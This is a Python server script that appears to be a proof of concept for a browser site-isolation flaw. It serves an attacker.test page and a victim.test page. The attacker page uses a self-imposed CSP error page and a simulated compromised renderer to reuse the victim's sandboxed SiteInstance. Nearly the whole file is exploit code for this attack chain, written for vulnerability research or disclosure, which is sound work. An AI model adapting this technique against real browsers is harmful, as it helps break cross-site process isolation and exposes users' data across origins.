#!/usr/bin/env python3
"""
HTTP server for the sandboxed-SiteInstance confusion POC.

Serves two virtual hosts on port 8000:
  - attacker.test  -> attacker.html  (with CSP: frame-src 'none')
  - victim.test    -> victim.html
"""
import http.server
import socketserver

ATTACKER_HTML = b"""\
<!DOCTYPE html>
<html>
<head><title>attacker.test</title></head>
<body>
<h1>attacker.test</h1>
<p>Step 1: open victim.test in same BrowsingInstance.</p>
<p>Step 2: create subframe navigated to victim.test &mdash; blocked by our
own CSP frame-src 'none', producing an error page whose opaque origin has
precursor = victim.test, committed in <b>this</b> renderer process.</p>
<p>Step 3: the (simulated-compromised) renderer injects a
&lt;iframe sandbox srcdoc&gt; child under that error page. The browser's
GetCompatibleSandboxedSiteInstance derives the sandboxed SiteInfo from the
error page's precursor (victim.test) and reuses the legitimate
{victim.test, is_sandboxed} SiteInstance.</p>
<script>
  // Step 1: same BrowsingInstance with victim.test.
  const w = window.open('http://victim.test:8000/victim.html', '_blank');

  // Step 2: after victim's sandboxed srcdoc has had time to commit, create
  // subframe B and point it at victim.test. Our own CSP (frame-src 'none')
  // blocks it -> ERR_BLOCKED_BY_CSP error page commits in our process with
  // last_committed_origin_ = opaque{precursor=victim.test}.
  setTimeout(() => {
    const b = document.createElement('iframe');
    b.id = 'errframe';
    // The "poc-inject-marker" query string is the trigger the patched
    // renderer looks for to simulate a compromised renderer injecting a
    // child frame under the resulting error document.
    b.src = 'http://victim.test:8000/anything?poc-inject-marker';
    b.width = 400; b.height = 200;
    document.body.appendChild(b);
  }, 1500);
</script>
</body>
</html>
"""

VICTIM_HTML = b"""\
<!DOCTYPE html>
<html>
<head><title>victim.test</title></head>
<body>
<h1>victim.test</h1>
<p>Legitimate sandboxed srcdoc iframe (creates the
{victim.test, is_sandboxed=true} SiteInstance that the attacker will try to
reuse):</p>
<iframe sandbox="allow-scripts"
        srcdoc="&lt;h2&gt;VICTIM SANDBOXED SECRET&lt;/h2&gt;&lt;script&gt;console.error('[POC] victim sandboxed srcdoc running');&lt;/script&gt;"
        width="400" height="120"></iframe>
</body>
</html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        host = self.headers.get('Host', '')
        if host.startswith('attacker.test'):
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            # CSP that blocks ALL subframe navigations -> ERR_BLOCKED_BY_CSP.
            self.send_header('Content-Security-Policy', "frame-src 'none'")
            self.end_headers()
            self.wfile.write(ATTACKER_HTML)
        elif host.startswith('victim.test'):
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.end_headers()
            self.wfile.write(VICTIM_HTML)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        pass


if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(('127.0.0.1', 8000), Handler) as httpd:
        print('Serving attacker.test / victim.test on http://127.0.0.1:8000')
        httpd.serve_forever()
